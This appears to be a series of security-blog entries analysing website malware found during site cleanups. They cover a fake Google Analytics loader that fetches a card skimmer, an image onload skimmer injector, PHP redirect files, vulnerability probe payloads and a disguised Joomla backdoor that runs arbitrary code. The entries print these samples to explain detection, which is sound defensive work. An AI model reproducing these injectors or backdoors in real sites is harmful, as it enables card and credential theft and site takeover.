Author: Denis Sinegubko

Google Analytics Swiper Disguised as Legitimate Traffic

At first glance, this short script looks like benign Google Analytics code:

<script type="text/javascript">
    (function() {
        var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
        ga.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'www.google-analytics.com/analytics.js';
        ga.src = ga.src.replace(window.atob('Z29vZ2xlLWFuYWx5dGljcy5jb20'), window.atob('Z29vZ2xjLWFuYWx5dGljcy5jbS92Lw=='));
        (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(ga);
    })();

    var _qaq = _qaq || [];

_qaq.push(['_setAccount', 'UA-33088787-1']);
_qaq.push(['_trackPageview']);
</script>

However, if you inspect it thoroughly, you’ll notice two important details:

  1. The actual Google Analytics code has different format
  2. There is a line of code with base64-encoded values
ga.src = ga.src.replace(window.atob('Z29vZ2xlLWFuYWx5dGljcy5jb20v'), window.atob('Z29vZ2xjLWFuYWx5dGljcy5jbS92Lw=='));

The first value (Z29vZ2xlLWFuYWx5dGljcy5jb20v) decodes to “google-analytics.com/” - still benign.

The second value (Z29vZ2xjLWFuYWx5dGljcy5jbS92Lw==) is more suspicious — “googlc-analytics[.]cm/v/” . While it appears to belong to the Analytics domain, it contains a typo in the Google name and the TLD is .cm instead of .com.

This string of code replaces the publicly visible www.google-analytics.com/analytics.js URL with the malicious www.googlc-analytics[.]cm/v/analytics.js link.

At this point, the malicious link currently returns an old version of the real Google Analytics script. However, if you request the analytics.js file (without /v/) on the same server, you’ll get a credit card stealing script.

The script sends stolen data to the hxxps://www.googlc-analytics[.]cm/__utm.gif?v=1…. URL, which looks similar to Google tracking pixel URL. And if you request it directly, it will actually return a tiny gif image.

This trick allows malicious URLs look indistinguishable from legitimate traffic when people manually check requests generated by a web page. The URLs appear to be a real Google Analytics URL and return the content that you may expect from real Google Analytics URLs. Nonetheless, they are malicious and steal credit card details and credentials from forms when used on webpages that contain the following keywords in their URLs:

  • onepage
  • checkout
  • onestep
  • payment
  • admin
  • account
  • login
  • password
  • cart

Google Analytics is often used to camouflage various types of malicious injections. Here are some other examples that we’ve recently blogged about:

Jul 23, 2019 by Denis Sinegubko

Images Loading Credit Card Swipers

We’ve come across an interesting approach to injecting credit card swipers into Magento web pages.

Instead of injecting a real script, attackers insert a seemingly benign, invisible image from the same site. The catch is, the tag has an "onload" event handler that loads the malicious script.

The injected HTML code looks like this:

<span style="display:none;"><img src="https://www.<redacted>.com/media/wysiwyg/infortis/ultimo/icons/info.png"  onload="var  o=document.createElement('script');o.src=atob('Ly9jb2xkanMuY29tL2Nk...redacted...2MmZpdw==');var   s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(o,  s);"></span>

It is comprised of a tag with the "display:none;" style, which makes the image invisible, and an tag that loads some legitimate image from the compromised site (which makes it look less suspicious). The onload handler creates a new script element with a base64-encoded src parameter (decoded by atob.)

In the above example, the decoded src ( coldjs[.]com/cdn/dnb36346262fiw) is a URL of a credit card stealing script.

Customization

The attackers took the time to customize this malware for every compromised site. Not only do they pick real images from the victim’s site but also use different domains for the loaded scripts.

Here are just a few of the domains used by this campaign:

    monsterengy[.]com - creation date: 2018-10-12
    cosrcmax[.]com - creation date: 2018-10-31
    jschef[.]com - creation date: 2019-01-16
    googietagmanagar[.]com - creation date: 2019-03-10
    cubejs[.]com - creation date: 2019-03-13
    coldjs[.]com - creation date: 2019-03-13

The script paths are also individualized. They contain parts of the second-level domain (SLD) names of the victims sites.

    /<SLD>
    /www.<SLD>.com
    /cdn/<part-of-SLD>36346262fiw
    /cdn/<SLD>/4879465
    /<part-of-SLD>/502osja66ds.js

Given their random nature and occasional typos, we can assume that they are generated manually.

On sites that we cleaned, the malware was injected into the header template of the core_config_data table.

May 10, 2019 by Denis Sinegubko

Thousands of Redirecting Files

We recently cleaned a site where we found thousands of malicious files with the following content:

<?php
header ( "HTTP/1.1 301 Moved Permanently" ) ;
header ( "Location: hxxp://realprofit[.]su/" ) ;
?>

and

<?php
header ( "HTTP/1.1 301 Moved Permanently" ) ;
header ( "Location: hxxp://profitnow[.]su/" ) ;
?>

All files were located in the site root directory and had names derived from a person's first names: mccarphy.php, viva.php, lotta.php, sang.php, trine.php, liviu.php, taylar.php, golden.php, staphane, stanislav.php, ismail.php, jerusha.php, menda.php, niel.php, samaira.php, kaa.php, franky.php etc.

Most likely these files are used in an email malware campaign. We found an analysis of one malicious .doc file that made requests to several domains, including realprofit[.]su, and then saved the response as an .exe file and executed it.

This particular wave of the attack is known to infect many sites. Profitnow[.]su was created on November 28, 2018, and according to RiskIQ, 700+ sites redirected there. Realprofit[.]su was created on December 6, 2018, and 500+ sites redirected there.

Some other domains used in this malware campaign:

out36.selfsend.ru
to5.topwenches[.]com
trybestsale[.]su
onlinehotprice[.]su
saleallshop[.]su
bestshopmaster[.]su
Apr 17, 2019 by Denis Sinegubko

Social Warfare Vulnerability Probes

After a recent disclosure of the Social Warfare plugin vulnerability, we’ve seen massive attacks that inject malicious JavaScripts into the plugin options.

The vulnerability has been patched in version 3.5.3 of the plugin, so not all sites with that plugin are now vulnerable. To find actually vulnerable sites, hackers scan the Internet and probe the sites. However, instead of using the file with code that actually changes the settings, they just specify a file with a PHP code that returns a predefined text for vulnerable sites.

Here are some of the URLs of such probe files detected by our firewall:

<pre>hxxp://<strong>thehuglaw[.]com</strong>/cache/wq.txthxxp://<strong>www.fdqyj[.]com</strong>/lang/wp2.txthxxp://<strong>www.fdqyj[.]com</strong>/lang/wp3.txthxxp://<strong>kidsinthehouse[.]com</strong>/all-backup/libraries/share/fonts/tresz.txthxxp://<strong>kidsinthehouse[.]com</strong>/all-backup/libraries/share/fonts/551.txthxxps://<strong>gist.githubusercontent.com/kolzdnoy71</strong>/ef026d1b2587371fdc6b28a9a21249dd/raw/628d8b376d2122580d6fcbc63c41ea9778473b8f/gistfile1.txt...</pre>

They have very simple PHP code inside <pre> tags. For example:

<pre>print(7457737+736723);</pre>

Or

<pre>system('echo dfdffg34dfg')</pre>

Some of such files are hosted on compromised third-party sites and, at this point, some of them have already been removed.

Hacked sites are not the only option used by the attackers. We’ve seen them using Pastebin links (Pastebin removes them after abuse reports). Another option that you can see in the list above, is Github, and specifically their Gist service.

In case of the above Gist link, the user who created it (kolzdnoy71) has joined GitHub just on March 27, 2019.

Mar 29, 2019 by Denis Sinegubko

From Fake Updates to Unwanted Redirects

At the end of February, we wrote about a massive wave of site infections that pushed fake browser updates.

In the beginning of March, the attack evolved into redirecting site visitors to sketchy ad URLs.


In WordPress, the injected script is typically found at the bottom of footer.php files of the active theme. It still comprises of an "eval(function(p,a,c,k,e,d)...” obfuscated script and Histats code with the same 4214393 ID (which is now found on 1564 sites).

Mar 8, 2019 by Denis Sinegubko

Fake Parameters Conceal a Backdoor

We found this backdoor in the middle of the logrss.php file that defined the JDocumentRendererRSS class.


...function jregisterClass() { // merge arrays $info = array_merge($_REQUEST,$_COOKIE);   // validate parameters  if ( !isset($info['mlg']) ) die( 'Restricted access' );   else $info['feed']($info['file'], $info['link'].'"'.  $info['mlg'].'"'.$info['title'], $info['file'][1]);}/*  Pass the feed data   @access public  @return string /jregisterClass( 'onAfterStart', 'JDocumentRendererRSS' );function JDocumentRendererRSSdata($data){...

The code looks very natural until you check what it does.

jregisterClass( 'onAfterStart', 'JDocumentRendererRSS' );

This code looks like it registers the legitimate JDocumentRendererRSS class to be used after starting the application/plugin, right?

There is really a onAfterStart trigger for Joomla mambots but it is used in a different context–and what’s more important–there is no standard jregisterClass function. However, that very file defines its own jregisterClass function (you can see this in the first snippet).

That function doesn’t define any parameters though. It turns out, in PHP you can pass as many fake parameters as you want and the function will only use the ones that it expects. So the 'onAfterStart', 'JDocumentRendererRSS' parameters are just a red herring.

The function itself is a classic backdoor. Its code uses cookies and values of the POST, GET parameters to execute arbitrary PHP code.

This type of backdoor is very easy to miss when you manually inspect the files. That’s why integrity control monitoring is very important. It helps you identify modified files and in best cases, shows exactly what has been changed.

If you're having difficulty identifying malicious code on your website, our team can help.

Feb 5, 2019 by Denis Sinegubko

Side Effects of the Site_url Hack

We\'ve been cleaning many sites infected by the so-called site_url hack–the result of the WP GDPR Compliance plugin vulnerability. The sites are broken because their static resource links point to some third party site. However, this is not the only issue.

If a user starts to make changes in their WordPress settings or some plugin regularly updates them, chances are the changes will be affected by the new value of the site_url option. In such cases, you’ll have to search the whole WordPress database (or at least the wp_options table) and files on the server for the rogue site_url value in order to revert the changes.****

For example, this is what your site’s .htaccess file may end up looking like after this hack:

# MediaAce Rules - Hotlink protection
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{REQUEST_URI} !/wp-content/plugins/media-ace/assets/hotlink-placeholder.png$
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^(http(s)?://)?(www\.)?wtools.io/code/raw/so? [NC]
RewriteCond %{HTTP_REFERER} !^(http(s)?://)?(www\.)?facebook\.com [NC]
RewriteCond %{HTTP_REFERER} !^(http(s)?://)?(www\.)?google\.*$/.* [NC]
RewriteCond %{HTTP_REFERER} !^(http(s)?://)?(www\.)?pinterest\.*$/.* [NC]
RewriteRule \.(jpg|jpeg|png|gif)$ hxxp://wtools[.]io/code/raw/so?/wp-content/plugins/media-ace/assets/hotlink-placeholder.png [NC,R,L]
</IfModule>

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /code/raw/so/
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /code/raw/so/index.php [L]
</IfModule>

# END WordPress

As you can guess, in this case, hackers changed the site_url to hxxp://wtools[.]io/code/raw/so?, so the media-ace plugin and main WordPress rewrite rules were corrupted.

Nov 20, 2018 by Denis Sinegubko